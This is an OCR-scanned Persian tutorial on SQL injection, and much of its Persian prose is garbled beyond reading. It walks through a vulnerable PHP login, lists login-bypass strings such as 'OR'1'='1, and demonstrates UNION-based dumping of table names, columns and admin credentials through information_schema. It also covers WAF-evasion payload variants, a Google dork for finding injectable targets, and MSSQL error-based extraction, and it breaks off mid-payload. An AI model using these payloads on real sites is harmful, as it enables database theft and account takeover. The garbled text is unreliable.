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From Jgo> o

1) Jlo
SELECT UserName,Password

FROM Tbluser

WHERE gws Y-V-)

B a5 380 Ojge 4 g @l Cosgame ¢l 2l Lo b by 00538l lp jews

s OR 5 AND slo Shes 5l olsi oo Lo 39, ,I5 4y Select 5l aey ol Where [gius .55, oo

coged plesl pa L1y bl cpais 5l Cdle ¢ s Slae ol Jawgs g 090 colaiul

:¥-) Jlw
SELECT UserName,Password FROM Tbluser

WHERE UserName = ‘Amin’ and Password = ‘1234’
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aib o VYYF Ll o1 Password g Amin b ., UserName
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SELECT * FROM Tbluser WHERE Username = ‘Amin’
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Update Jgox ob
Set was jlaie = als ol
Where L3 jlaie = als sl
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UPDATE Tbluser

SET Password = 12345’

WHERE UserName = ‘Amin’

35 VYYE @ T Password ceed “AMIN’ L ol o1 USerName a5 6s,55, «ygiws ol b
RV

UPDATE Tbluser SET Password = ‘12345’

DELETE ,gws F-V-1
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Delete From Jso> b
Where i s 50 0,55, 5l akd G laie g pb
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DELETE FROM Tbluser WHERE UserName = ‘Amin’
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DELETE FROM TblUser
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INSERT INTO ThlUser (UserName , Password)
VALUES (‘Amin’,”1234")

Alp ol UserName (glgowe ¢ s 03938l TDIUSEr Joom sl 4 69,55, oygiws ol b
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SELECT Name From TblFootball
UNION SELECT Name From TblBaseball
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A=Y e

SELECT SUM (Connection_Time) As SUM_Connect FROM TbIConnection

WHERE Connect_Date = ‘95/01/01°

dwlme 33l odls fate jg w0 4 A0 (29,98 Jol 59, 45 G125 Jlail slle; ggeme ¢jgims (pl b

D oo 018,51 (yien 45) 8,65, S0 B 0 e SUM_Connect ygw lgie e 4
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GROUP BY & le A-V-1

SS 6l b S a1 Jlail sl mex (L slosg, plad (sl aS 59y 5L5 STA Jle jo

Sl s peies b Lol ogy anlgs et g Sle; sl Sl a5 cuiigs ailflas SELECT ey, o

B oo plnil 22 4

:4-) Jleo

SELECT Connect_Date , SUM (Connection_Time)
AS SUM_Connect FROM ThblIConnection

GROUP BY Connect_Date

HAVING o le 4-Y-1

qoepledn |y Sl 55,50 Ve Sl pezr ul &S alegs, sl Jlail slesley gex ST A Jle o

oS oolaiwl 3 jews M\ys‘w

SELECT Connect_Date , SUM (Connection_Time) AS SUM_Connect
FROM TblConnection GROUP BY Connect_Date

WHERE SUM (Connection_Time) > 1000

w935 slp ol 1,8 WHERE L cwnd jo ol o |, (SUM L) LT Joé molgs a5 |5
g oo oolitwl HAVING & )Le 51 55150

H1e-) Jlo

SELECT Connect_Date , SUM (Connection_Time)
AS SUM_Connect FROM ThIConnection

GROUP BY ConnectDate

HAVING SUM (Connection_Time) > 1000
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<from action=""script.php” metod="post”
<input type="text” name="username” placeholder="Please Enter
Your Username”>
<input type="password” name="password” placeholder="Please Enter
Your Password”>
<input type="submit” value="Login>

</from>
1990 Al 55 S 45 CSS ol jon 4y 00l 00ls sloaS =9,
. o
5 Login Page x + ,
€ (9 @ localhost/php/sec e RE v & | |[B~ Google A vaB ¥ /& =
@' KR Onorank&' b Y
Login Form:

Designed by: Sokan Academy
©2013

Q‘).g)ls 05)5W—\—Y JS..»

6555 5 6 pU sl (o Sl (63559 55 ol &S w10 (o058 et (50 392 NS 0 &S jshailen

o3 oy Sl

: SCHPL.PIP lgie cov cuwd PHP L 6 ool 48,5 s 10 0,8 opl 6l a5 oo S|

session_start();
$username_set = false;
$password_set = false;
$username =$_POST['username;
$password = $_POST['password];
if (empty($username)) {

echo "<p class=\"error\">Please Enter your username</p>";

} else {
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$username_set = true;

}

if (empty($password)) {
echo "<p class=\"error\">Please Enter your password</p>";
} else {

$password = shal($_POST['password);
$password_set = true;

b

if (Pusername_set == true && $password_set == true) {

$sgl = "SELECT * FROM "users’ WHERE “username™ = '$username'’
AND “password™ = '$password™;

$query = mysql_query($sql, $connection);

$result = mysgl_fetch_assoc($query);

$_SESSIONT'id'] = $result['id"];

$_SESSION["user_name"] = $result["username"];

echo "You are logged in. In a second or two, you'll be redirected to your
profile page";

header("location:logged-in.php™);
b

Sls 1y 055 H9e 3oy 5 G U Calioe (908 )5 a4l o4 0955 Gl Ol &ly o
10GEUiN.P olsie coxs sl amics s w35 sl caibyn b S il 85 9 55 5 sl i 3

Pl ) o Sl (ol 45 g (oo

session_start();
if (1$_SESSION['user_name'])
header("location:./"); }

$title = "Hi " . $ SESSION['user_name'] . " you are logged in";
$userID = $_SESSION['id";

define("TITLE", $title);

include("includes/header.php™);
require("includes/db_config.php");

$sql = "SELECT * FROM "users" WHERE "id" = '$userID™;
$query = mysql_query($sgl, $connection);

$result = mysql_fetch_assoc($query);

AR
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<table>
<tr>

<td>ID</td>

<td>Username</td>
>

<td>Password</td
<[tr>
<tr>

<td><?php echo $result['id']; ?></td>
<td><?php echo $result['username’]; ?></td>

<td><?php echo $result['password']; ?></td>
</tr>

</table>

<a href="logout.php">Logout</a>

OF 0955 315 5l g g el AAMIN. 5501 (ol 50 00 i3 T 515 50 j5ue 50y o 5 (52,5 oL o2

29 o0 4150 p) ol bg e la (539,59 )1y

Hi admin you are logged in

- olEN
X\ +

€ | @ localhost/php/security el v C | |[B - Google

-

Al B ¥
Y Onorank (9' t‘)

-~ =
n =
'S v

~

ID Username Password
57 admin

d033e22ae348aeb5660fc2140aec35850c4da997
Logout

6)%)[5 d.:.>l.3 -y-Y JS.w
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session_start();

session_destroy();
define("TITLE", "Logout™);
include("includes/header.php™);
require("includes/db_config.php");
header("location:./");

e 90 1y e Sell g (ol B lo s )b

- oW
Login Page x \ +
€ 9 @ localhost/php/sec N RS « ¢ | |~ Google PlaB ¥ & =
a' R Opnvate &' b z‘;’}v
~
Login Form:

OR'1'="1
eesessescseenes |
Designed by: Sokan Academy
@2013
Oy, 39,9 axas 05 490 =YYV S

t S oolainl 5 Sole 5l jeue 50y 9 6205 pL slm 2 69959 50

'OR'1'="1
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D aesdsn a2lse 5 peas L LOGIN (59, 5 00,8 SIS 5l e
- oEEm
x +

€ | @ localhost/php/security NP RS

(2R

Hi admin you are logged in

c B ~ Google r ﬁ = . 1)
Y o no rank &' b

Y v

~

ID Username Password
57 admin

d033e22ae348aeb5660fc2140aec35850c4dad97
Logout

$8 4l -F-Y S

oSyl g ol Blgie (2T 4 Gsee 3oy 9 ) U1 (BB g0 YU Sjle 0 05 L

Al o0 Iy g8 axliogly g 00y 90

1S 50,5 ol b
'OR'1'="1

05 aoly> 05 00 4 SQL j5iws ae 50y 5 )5 ol lsie 4

$sql = "SELECT * FROM “users” WHERE “username™ =

="'OR'1'="1"AND
‘password  =' 'OR"'1'="1"";

A8 s BB SaaS 0iyS e )31 sle cdle JB s Jgaz Sy polie SQL L5 o ol 5o

LSy diblsS i s 4 PASSWON 5 USEMNAME (g, Solie ol
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sgl = "SELECT * FROM "users WHERE “username™ ="' " AND "password"

§="""

A 350,52 (0,18 j5ee oy 5 6 el le (595,9 SIS ) Ole (pl &S ey >
rael walys 4 55 550

sgl = "SELECT * FROM "users" WHERE "username” ='"'OR "' 1'="'1" AND

‘password  =' 'OR"'1'="1"";

ools )13 <L Ll 1, pasSWord L g USErname lace laml ol sasie 398 oS o a5 ghiles

ple! SQL jgiws cpl a5 5,15 onges osliiwl ol L G as OR g 5l Lo (S S
,o  passwordl username (gl calises Jlade 95 olyo b aas oo 1) el cpl a5 casl cpl ano
aS Ll 5l g 0e Y b plp ) ooae Jade 5T e OR jgiwo 5l o g 090 g5 a5 Jgl jlaie 28,5 s
Sgb oo SN 5o oy 5 61 pU sl ke (nl G el Cnyd 0 )l50n byl cnl Cls
mysql_real_escape_string .lse cov oo 5l Camb (oo (sl dlo cpl sol> 38,5

: ‘*Q.A_;S OQL&.:.MJ‘

session_start();

$username_set = false;
$password_set = false;

$username =$ POST['username';
$password = $_POST['passwordT;

$secure_password = mysql_real_escape_string($password);
if (empty(Susername)) {

echo "<p class=\"error\">Please Enter your username</p>";
} else {

$username_set = true;
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if (empty($password)) {
echo "<p class=\"error\">Please Enter your password</p>";
{} else

$password_set = true;
¥
if (Pusername_set == true && $password_set == true) {
$sgl = "SELECT * FROM ‘"users WHERE ‘"username’ = '$username’
AND Tpassword” =
'$password"’;

$query = mysql_query($sql, $connection);

$result = mysql_fetch_assoc($query);

$_SESSIONT'id"] = $result['id";

$_SESSIONT["user_name"] = $result["username"];

echo "You are logged in. In a second or two, you'll be redirected to your
profile page";

header(*'location:logged-in.php");

¥

45 SECUre_password ;e cos gl sl gaos e sl (asie §gd oS 10 a5 shiles
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‘or’a’=’a
admin’--

admin or 1=1 --
‘or 1=1
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‘or 0=0 --

99,9999

admin” or’a”="a
admin’ or 1=1 --

admin’) or (‘a’=’a
(QueryString ) g ,595 axisy ;o SQL o5 39,5 Y-
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www.example.com/page.php?username=john&password=123
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Login : User’
Password : pass’
http://localhost/site/news.php?id=999°

Bl o o) SIS0 e 5 (e & 3L Sl s
login : ‘User
Password : ‘pass
http://localhost/site/news.php?id="999
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login : “;User
password : pass’;
http://localhost/site/news.php?id= 999;

il yogy Y-O-Y

g oo a8lol 5 alaie Ol )le Culh g url Slas bgy opl jo
And 1=0 --
And 1=1 --

09 390 MalS Wb ammao V=) 0 S wdlol b : asSS

http://localhost/site/news.php?id=999+And+1=0--
http://localhost/site/news.php?id=99+And+1=1--

SQL 390 1278 ‘_.;le |0L~.: -y

S 5l 3 9)lge plai ollas slaply wing sl iel,lb 09y 51 ST a5 S oS oo (A el

The page cannot be displayed
There is a problem with the page you are trying to reach it connot be desplayed

All ODBC Error Massages
Microsoft OLE DB provider for ODBC drivers error ...

)
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Microsoft OLE DB Provider for ODBC drivers error ‘80040e14’
[Microsoft][ODBC SQL server] Incorrect syntax near the keyword
‘or’/Verify.php,line5.

Microsoft OLE DB Provider for ODBC drivers error ‘80040¢14’
[Microsoft][ODBC SQL server] Unclosed quotation mark before the character
string

Microsoft OLE DB Provider for ODBC drivers error ‘8004005’
[Microsoft][ODBC SQL server]

Microsoft JET Datbase Engine error ‘80040e14°

Colw o 5l ol wdlboo 23 9, php Olrio slo 6555 ;0 s9290 sl j9)l (py ) 5l SO

s o Ghales SIS Lasgs 3985 Cend b aliliie 10 1, s, cal il ons anings PAP by L a5 ol

Query failed : You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near "
line 1

at
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A5 59y Olygiws V-V

Sl g 00l s adiyy 5 0359 O2s] Seway 1 VETSION()

WSS Jee « VEISION()  giws cl See wijls |, SQL SL a5 Glo colu 3l pan o 4SS
D9 o ookl @@VErSION [giws 51 YL Hgiws sl o plo

g oo oolatul 03ls ol (5,15 b 05T s g User()

D9 o ool jgrws oyl 5l esls oL pb 0,5 law sl ¢ Database( )

255 ol b ) Slhgios (el jo)l Ll azlse b g Vb Slygins 9,50 Jos &j50 j0 az g
Unhex |, olygiws &)le opl aib oo oS G55 lygimd 58,5 Gmish la 3, 5 S - Unhex
RECOP

Unhex (Unhex(Version()))
Unhex (Unhex(User () ))
Unhex (Unhex(database () ) )

3 G, P Olhgiws 50,5 sl oo g, ¢ Convert

Convert (version( ) using latin 1)
Convert (User() using latin 1)
Convert (Database( ) using latin 1)

w2 4 Ll Jlasl ogos g Jglom 0,5 asiw ¢ FrOm
7S sl | slasgere 4y bgyye polie L b o5 5 1 Group By

D500 5 a0 baosls (8,5 i ye sl loggiw plas aSul 9,5 Laxiw ¢ Order By

AR}
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Sl 9 S o adlal 1, Order by [Column Number] ws osls ol SQL Uas plis

oS oo cnal 1y gt olaws lgie s goae [Column Number]

http://localhost/saite/news.php?id=999+order+by+30--

..b; oolazul dlwb)‘+6bu 0‘9"(5"‘\"5"
oy amao 6,150 51w ST oS 0 3L ) axan Order By 5w (0,5 aslal 5l aw
Al o yiaS 0dls 0,lg sae e et dlaad aS Al co Lae ol 4 wolo Uas play cole

ABboe p) Ojge d @lge iy jo e pliy

Invalid query: Unknown column '30' in ‘order clause'

U ol eSS o0 1L 1y aman 5 00,5 (o5 1) lggiw ae Vb gllas play b ol azlge O j50 50
sae ol (nlple s o) olS &j50 4 Sl g ambio (553550 5l 45 05d 00 plnil Gl U,
ilge S5 5550 Cule g Sleggie Slass
e Ll b ole aw ol : Where
oS 5 slayhaw 0 S asie ¢ Having
ool lis g Jeu wiz LY 5l calisre gt wix b g0 plésl g oS 5 6l Union Jgawd | :Union
09 oo ooliiwl S i gie SO o Lyl

Union s ail LSS Wb oS gl ead Ol sl g sl eols gg5 ¢ jeiws (pl o
|y diged S5 i yo 5l g 00,5 Bio ) il (651,55 polie b 0)55 5 Djge 0 do ald oS 5 oK o

2,5 solal UNION ALL jgws 5l sl 6,15 polis (o ¢ polie ples ssalice (gl amd o (siuled

Ye
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o S 5 4 Jpir 5z b o J) ey o5y b am SELECT 2o t SELECT
055 o 5,8 eolainl 0550 Fge s S 3,155 sl g wib oo DML jsiws 0 500,55 5 jetws

(ailoce ¥ Lot olows aSil (5,8 L) 1 g oo solinwl pj JSio 4 UNION jgiws 5l 3ga5 L8
http://localhost/saite/news/php?id=999+union+all+select+1,2,3,4--

s Union , Select jyiws 4 by pe slo uisb 5l plgise Yo H55wd 53,55 Jos Sjg0 00 42 g
3,5 oolatwl = jlam + o S @l L L
Sl plsl oS Gy ol 50 olgioe 4 el Sgiw (5 0, ke 45 ddde (ialed (s0ae YU giws
o ol g a5 pl jo wes iuled a5 BB et wiz b Cole g 3l san Cl (Sew 4SS
Dlo plosl oS 5,5 les oo 0as ools ioled gledgiw aled
Dgge Jgaz 4 olo,law 05 aslsl : INSERT
Sexge Joaz 3l olaylaw Bi> 2 DELETE
Jsir 39790 sl laws polie i3 e 1 UPDATE

: Information_schema

s¢>9 INformation_schem o a4 Lol Sledbl SSb 5 5L 5 0, Y asws MYSQL o
SO L ool oKL AL el aS wil o metadata ools oL 4 o yiwd Sz oald oLl ol
sl 02 g ¢y B ey S 00l g5 1ol I g
SSb plas @ bgspe Sledbl o] o a5 col Sledbl oals oL 5 Information_schema
i oMbl ol B b s (s3bre g o0ls ol ol el ond axils a5 K Sledlbl

,,3 information_schema s 1, Jslas Ssg> jsb & MYSQL g sl oad sl osls ol

'MOLSQ
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couds i [y T Sl b g ol bsle wily oo Lot

http://localhost/saite/news.php?id=999+union+all+select+1,table_name,3+

from+ information_schmea.tables+where+table schema=database()--

Qe e isles |, Information_schema ;s sg>ge Jolaz o6 Yb S
inles Gt G0 1y Jolaz ples pb aSnl (gl wams oo ioles |y Jgaz pb SO Lois Yo S & axg5
5,5 solaxwl Group_concat jgiws 5l oo
DS g o b gt o 50 1) il atwlgs Sledlbl e o & jle ol lawgs @ CONCaL
http://localhost/saite/news.php?id=99+union+all+select+1,concat(user,pass),
3+from+admin
ML";" 2y OHge 0l 0ols UM.:Lo.’ Cye
userpass
admin1234

D518 0529 (g, 99 JSiie (pl &8, (gl o Hiuled ol oo 4 1) SlMbl jgws (pl: S
He -
Char -

oo |8 oo atwlgs Sledlbl g oo 1" 1! Cudle oo (Ko Jolae & )le by, opl lawgs : HEX
OX >> ous 5o la yie 3kl o)le
3a>>"" codle Ko Joles

http://localhost/saite/news.php?id=9+union+all+select+1,concat(user,0x3a,pass),3+

from+admin

1
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user:pass
admin:1234

- pddes 1,8 PSS g USEr 0|, 1 coodle Sl oS Jolaa g, cpl 0 @ Char
58 >>"" e Sl oS Jore

http://localhost/saite/news.php?id=9+union+all+select+1,concat(user,char(58),pass

),3+from+admin

ML";" 2y OHge b oy oola UM.:Lo.’ Cye
user:pass
admin:1234

sl 32z LY (gl o 145 slas onl b aiSie Joe CONCAL 5200 wsile 1 Group_Concat

Group_concat(user,0x3a,pass)

.J..CI:L}GA R ) a4 oAl sala ufu:tu.i 5%
admin:1234,admin2:123456,admin3:123456789
) g o pelgsn ST a5 Goles ol b asise Joe CONCAL wsle 56 o )le ol : Concat_ws
HFewd (ol Jawgs o 1,8 sals atwlgs Sledlbl sasn oo 1, " OX3A " 45 Cas oY 0SS g e

Mét_s.a )|).9 )9I.w$ Jg‘ ).) ‘) " OX38. " )Lg &SJ Llass

Concat_ws(0x3a,user,pass,id,email)
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admin:1234:1,admin@saite.com

(bypass) (sl A-Y
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ploul 1, XSS L SQLI Lwgs (yas Sia 5l 6 55 51> Lo of ) (salad aiS jgai (595
Aislgn by, o dn 4 Sl gl Le S3gaiaslosls [, 3 La F3gaol) ju o ol Ble g Wl osls
4 0SS 1y L XSS U SQLI 5 b 5l 5 as)lo cep 095 oy 4 511, aslger 0isS 3945
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: UNION BT uw‘_;b

union select 1
union/**/select/**/1
union+select 1
union+select+1
unlOn+select+1
UNION+SELECT+1
UNION%20SELECT%201
union+select+@ @version (php nuke)
union - select kalame
[*lunion*/select+1
[*lunion*//*1select*/+1.
/*150000union*/select

mwwéb);) LSLQ &9)@SQL gfl.» 61)10 Lcha wl.w ;.)9)" Lg)l,:.w.g:d..';_ij

http://localhost/saite/news.php?id=999+order+by+10-- -
http://localhost/saite/news.php?id=999+order+by+10--+
http://localhost/saite/news.php?id=999°+order+by+10--
http://localhost/saite/news.php?id=-999’+order+by+10-- +
http://localhost/saite/news.php?id=.999+order+by+10-- -

Y4



wwwecollegeprozheh eir 03 9y G‘ (]




wwwecollegeprozheh eir 03 9y G‘ (]

RV o.«.:Lw ,_5).3...3..3’ MT oD P \—V

85 ity 4235 (nl dy el a3 b ol g e ndy el (o @ p90 b 0 45 5k les

D3l e le ais dy 3985 08T 8,5 Do plp 0 aS JlislaS Slbas

ulf)lf 99,9 Slxbn -

a'" . Q : -

aisS oo Jloyl bgy Slras as 1y 03Y (sl el )b POST g, &b 5l &S HTML clxan -
oS oo shoe PP olesT 055, o (55 1) pgd b slo ol j5iss (b () 50 1 azr g

-0 ol £98 A Aty a5 010 0529 555LsS sla o) (ul g S ogr pdy ] ey STy

2 9 .

g 00 Ay php Ol dawg ol g 059 pl 4o 0,5 eolawl (, ; L) syl sl ol

e o plsl QUErYStirng s ,b 5l &5
3,5 ookl b Sy90 3l g o a8 51,5 OMes (gl Blanl o 5Ty (gl 1SS
(Google Dork ) & ,98 J555

sl o colw 0,5 g 3580 ,9b 4 ol oo Ll lawgs a5 565 &l jgims 6l acgame

S5dge 4TS S p5 S5 w23l |, S
o S il i Jlixl b (Jg o o5 sl Gun abl 5 3.80 ool dlllisl S 90 08> 12 @ d>gj
P9 50

Gp e slp a5 )5 odgl st o Chttpi//localhost/saite ) _aolesl ol g (e)ol
b Sygo a1y Ha 0550 Cole g IS ol (6l cdilioe Cole oy s pdy el ezl LS 0S8
gl so ploil Sk sl Slomio (2L Zaz (Sl Jos 0t g0 (Sl gy sla S8l o5 g L

&)



www ecollegeprozheh eir 03 9y G‘ ()

SQL Injection Luwg Sa L waas |, sols 48,5 o)lg o3lal )5 @ a5 gl axio o S ek @

REIAg

g Slxio 3l Ailgie (s Dy 4 )l 0550 Cules g o sla QUETYSENING Sl (sl

SHge (2

|y 53 93,5 QUEryString  Jlss a5 oS 5L 1) ol g sla Cony 5 00l bn ol

28l 1) )l 5 )50 QUErYSring o 558 J565 bawgs olyiee

inurl: saite.com ".php?id="

Cn yd 45 000, K 00l dlwlgs Col g 5l (Sod Jloo a3 (J595 )5 goxin> j5ig0 ;0 YL S j0
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Gy a5 WS oo QUETYSINING o St a8 ol b ol axils e 1d 5 .pHP axio
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http://localhost/saite/news.php?id=1

httpi/localhost/sate/ner X

&

(& ‘ O http://localhost/saite/news.php?id=1

@/M

SOL Injection

o8 G135 SMos (odalo3T 0399 =
SQL Injection e . N —
o ——— e
gt ||| 1111

HOME YOUR NEEDS YOUR BUSINESS ABOUT US RESOURCES NEWS & EVENTS CONTACT

News and Events RSS News Feed

o WUy VTS 11 D auu VI,

Tax Seminar Tax Seminar s
Eront line football

Date: Wednesday, 2nd February 2011

Time: 08.30am to 10.30am ‘Here is the truth’
Apple chief executive Tim Cook says the
European Commission is “picking on” Ireland and
Place: The Mount Hotel & Conference that 'no one did anything virong", but is he right?
Centre, Mount Road, Tettenhall Wood
Wolverhampton, WV6 8HL Stranded at sea

‘New era’

Py o] axbio —)-Y S

&y
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el 00 5L JelS e 4 NEWS.PIP amio 51) o leis co Y=Y UG 0

http://localhost/saite/news.php?id=1’

[ http#flocalhost/sate/ne: X

€ C | D hipy/localhnost/ne

@/m"‘

SOL Injection

o5 G133 Moo (hale3T 0395
SQL Injection

HOME YOUR NEEDS YOUR BUSINESS ABOUT US RESOURCES NEWS & EVENTS CONTACT

News and Events RSS News Feed

Invalid query: You have an error in your SQL syntax. check the manual that corresponds to your LA IR RS HYED 1 A3 BUAN I
MySQL server version for the right syntax to use near " at line 1

‘Here is the truth’

Apple chief executive Tim Cook says the
European Commission is “picking on™ Irefand and
that "no one did anything wrong®, but is he right?

Stranded at sea

‘New era’ hi
4

Colw g dgd Cannd —V-Y G

W 0yl by ] 4 eg0 5 o aS oo et sl  abb i somliw Y-V WIRIPLY NS
) Ol @ pge Jat = P o G0 s BTV

el 3gi5 LB g il o SQL S (sls NEWS.PHP axio 13 ol g ol

:las ol
Invalid query: You have an error in your SQL syntax; check the manual that

corresponds to your MySQL server version for the right syntax to use near ™ at
line 1
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http://localhost/saite/news.php?id=1+order+by+10--
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SOL Injection

o5 G137 e hale3T 03552
SQL Injection
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(1111}

HOME YOUR NEEDS YOUR BUSINESS ABOUT US RESOURCES NEWS & EVENTS CONTACT
News and Events RSS News Feed
Invalid query. Unknown celumn '10' in ‘order clause VLA SOUR. STLA RN WO, U1 D SN W
Front line football
*Here is the truth’

Apple chief executive Tm Cook says the
European Commission i “picking on” Irefand and
that "no one did anything wrong”, but is he right?

Stranded at sea

‘Newera'

W ygoimw Slawy —V-Y o
P g o0 odalice o3 glax> teL:w Y-v U e

Invalid query: Unknown column '10" in 'order clause'
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SQL Injection

SQL Injection

HOME YOUR NEEDS YOUR BUSINESS ABOUT US RESOURCES NEWS & EVENTS CONTACT

News and Events RSS News Feed

Tax Seminar Tax Seminar

Date: Wednesday, 2nd February 2011

Time: 08.30am to 10.30am

‘Here is the truth'
Apple chief executive Tim Cook says the

European Commission is "picking on” Ireland and
Place: The Mount Hotel & Conference that "no one did anything wirong”, but is he right?
Centre, Mount Road, Tettenhall Wood
Wolverhampton, WV6 8HL Stranded at sea
"New era’ A
4

colw &g ‘_.;Ub‘;,g&w Slawy —F-Y o

D9 o0 5L py Sed b el jsb 4 g azio gl oo samline TV S 0 a5 5k lea
http://localhost/saite/news.php?id=1+order+by+9--
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Union+all+select+1,2,3,4,5,6,7,8,9--

http://localhost/saite/news.php?id=1+union+all+select+1,2,3,4,5,6,7,8,9--

httpi#/localnost/sate/ne: X
& (&5 ] O http://localhost/saite/news.php?id=1+union+all+select+1,2,3,4,56,7,8,9-- l 2 PR
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SOL Injection

o8 137 Moo aloyT 0395

SQL Injection

News and Events

HOME YOUR NEEDS

ABOUT US RESOURCES NEWS & EVENTS

Tax Seminar Tax Seminar
Date: Wednesday, 2nd February 2011
Time: 08.30am to 10.30am

Place: The Mount Hotel & Conference

Centre, Mount Road, Tettenhall Wood,

Wolverhampton, WV6 8HL

CONTACT

RSS News Feed

©s m Gavuune,

FEront line football

‘Here is the truth'
Apple chief executive Tim Cook says the
Eur “picking on”

mi ‘picking on” Ireland and
that "no one did anything wrong”, but is he right?

Stranded at sea

‘New era'
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Dl 13 e ojled 51 S LML o lke UNION jgiis 5l ool i jo conl jgo 1,53
http://localhost/saite/news.php?id=.1+union+all+select+1,2,3,4,5,6,7,8,9--

httpi//localhost/sate/ner X

&« (&) ‘ D http://localhost/saite/news.php?id=.1+/%150000union*/+all+select+1,2,3,4,5,6,7,8,9-- 2L C R
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SOL Injection

o5 G135 CMos (odalo3T 0390
SQL Injection =

HOME YOUR NEEDS YOUR BUSINESS ABOUT US RESOURCES NEWS & EVENTS CONTACT

News and Events RSS News Feed
e Tax Seminar| 2.5 Eront line football

‘Here is the truth'

Apple chief executive Tim Cook says the

European Commission is “picking on” Ireland and

that "no one did anything wrong”, but is he right?
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Sl P Ceand 5o el 13 )l 0555 amio o azliz wols oSl pb 0 s] ey sl
S oo Dl ) ) ole
a' or 1=convert(int,db_name())--
SR 35 B g w1y 5 )l 5 (S euiSen Joe QUeTYSHNNG 6, b 5l 4z oLz
PP gN
database( )
@ @database
unhex (hex(database( )))

convert (database( ) using latin 1)

http://localhost/saite/news.php?id=.1+union+all+select+1,2,Version(),4,5,6,7,8,9
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HOME YOUR NEEDS YOUR BUSINESS ABOUT US RESOURCES NEWS & EVENTS CONTACT

News and Events RSS News Feed
QUL LIS WULRIIY IYSS 1 DAL UIIC.

lwiTax Seminar’ 25 Eront line football

db_test
‘Here is the truth'
Apple chief executive Tim Cook says the
European Commission is “picking on” Ireland and
that "no one did anything wrong”, but is he right?
Stranded at sea
"New era’ A4
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database( )

@ @database

unhex (hex(database()))

convert (database( ) using latin 1)

http://localhost/saite/news.php?id=.1+union+all+select+1,2,Version(),4,5,6,7,8,9
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Shygimss 5l (oS5 oo el 1, oS Gyp o QUErYSHng b 5l el
cole oy Sd 21 e 1, information_schema from ,group_concat ,Union,Select

S e LS|

http://localhost/saite/news.php?id=.1+union+all+select+1,2,group_concat(tab
le_name),4,5,6,7,8,9+from+information_schema.tables+where+table_schema=d

atabase() --

httpi//localhost/sate/ne X

(- c ‘ O tall+select+1,2.group_concat(table_name)4.5,6,7.8,9+from+information_schema.tables+where+table_schema=database()-- ‘ v
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HOME YOUR NEEDS YOUR BUSINESS ABOUT US RESOURCES NEWS & EVENTS CONTACT
News and Events RSS News Feed
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admin,components,our_people,resources,services,settings
‘Here is the truth’

Apple chief executive Tim Cook says the
European Commission is “picking on” Ireland and

icking 1
that "no one did anything wrong”, but is he right?

Stranded at sea

‘New era'
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http://localhost/saite/news.php?id=.1+union+all+select+1,2,group_concat(col

umn_name),4,5,6,7,8,9+from+information_schema.columns+where+table_name

=admin--

httpi//localhost/sate/ner X
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Invalid query: Unknown column 'admin' in ‘where clause'
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f oS oo cp el 1, admin

http://localhost/saite/news.php?id=.1+union+all+select+1,2,group_concat(col
umn_name),4,5,6,7,8,9+from+information_schema.columns+where+table _name

= 0x61646d696e--

OX >> o oilel ol
61646d696e >> admin s auls oo Ko Jolao

SOL Injection

5§23 Moo Sale3T 039
SQL Injection

HOME YOUR NEEDS YOUR BUSINESS ABOUT US RESOURCES NEWS & EVENTS CONTACT
News and Events RSS News Feed
le2Tax Seminar 25 ©3 11 Dawu v,
Eront line football

id,email,password,forgotten_pasword_ref

‘Here is the truth'
Apple chief executive Tim Cook says the
European Commission is “picking on” Ireland and

mi ‘picking on” Ireland a
that "no one did anything wrong”, but is he right?

Stranded at sea

‘New era'
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id,email,password,forgotten_pasword_ref : o -5 olool
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Jooz 6 (La (699,5) Lo (g solwl e piny conl S 31 &y 358 jgmws (49,5 adlal 5l

Al o bo i 5,90 sla ygiw €MAILPASSWOrd olul oyl les 5l ogina osls il @AMIN

(2 (529;9) L (ygimw Sl gizmo (33 )51 Cowaty B-F-F

oL a5 8,90 ol g a5 pl 8L cas PNP ks wols oKL AL (LS ol o
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9,5 oolaiwl pj jewd

union+all+select+1,2,group_concat(email,0x3a,password_name),4,5,6,7,8,9+fro

m+admin--

http://localhost/saite/news.php?id=.1+union+all+select+1,2,group_concat(email,

Ox3a,password),4,5,6,7,8,9+from+admin--

httpi//localhost/sate/ne: X
=.1+/*150000union*/+all + +1.2.g d).4,5,6,7,8,9+from+admir s Q

< c ‘ O alhost/saite,

SOL Injection

A5 31335 Moo palo)T 03354
SQL Injection

HOME YOUR NEEDS YOUR BUSINESS ABOUT US RESOURCES NEWS & EVENTS CONTACT
News and Events RSS News Feed
lw.Tax Seminar| 25 FEront line football

Test@webmail.com:dbee776b8a7a7ef429580b37c8a22a9¢, admin@webmai.com:9f056e2e5e7c5b778d719cb6358a2b05
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Login axiw &b 51 G255
Olrl 09,9 Ao jo Oledbl &é o V-F

oy (ol 09,9 das Jawgi 0ols oL 4 988 Cand ! j0 s, Lo |y QueryString G yb

:j‘q.:.’s’)Lf.cQ]

UserName (Text)
Password (Text)

FirstName (Text)
LastName (Text)

SleMbl L3 slo Caond 50 ory9] Camds 1) lo)l5 51 (o 4 by e Sledbl aS ol () Boa
Gam slo Jle g Jls cpl 50 1 (ea3,5] oy QUETYSINNG amis i soliwl b 1) ol wg (e

w0 ee OB 95,9 axio 15 5 e, e 4

5,08 1,8 SQLSEIVer cow 5l ojolo slas P o s 5,90 Sledbol a5 coils a5 b

Cowds |y Ll o5 5 ka3 5l oo o lg USEINEME gl b ouiS 0 3,05 1, 105 oylke LOGIN o 1o
:rv-.’.ﬁ"

‘Union+Select+Convert(int,(SELECT MIN(UserName) FROM TblUser
)),1,1,1 FROM Tbl User --
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Coliw Lol SELECT [0 sut bl sloygiw sloss o S 398 ad, 10 o olael golows

105 o0 oo py el gl pliy wils Sales slowi (pl axiliz a5 o)l Bun

Microsoft OLE DB Provider for SQL server error ‘80040¢14’

All gqueries in an SQL statment containing a UNION oprator must have an equal

number of expressions in their target lists

Sl s |y b SO ol wb cdls ol o as

P35 o0 yolo i o 3l o (398 SQL alaz 55,5 & j50 10 120,500 b ol alox o

Microsoft OLE DB Provider for SQL Server error ‘80040e07’

Syntax error converting the nvarchar value ‘Hoseini’ to a column of data type

int.
ke Sl sl oo 09 Lo L5 e 0,955 1 BT A j90 50 1 g

Select top 1 UserName

<sle )
Select Max (UserName)

p.a.ls OQL&.‘:.MJ‘

ov
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Cons |y canl ‘HOSBIND L ol o] USErNaME oS 6,5 Slasiv plo audlys o ;eS|
ool PASSWOND )] )15 Slaaseins (0 yiates 3 (S -p29]
MSSA o)|5 ‘) ) )93.».:& Logln C«.Q.M.:é)o o

‘Union+Select+Convert(int,(SELECT+Password+FROM+TblUser+WHERE
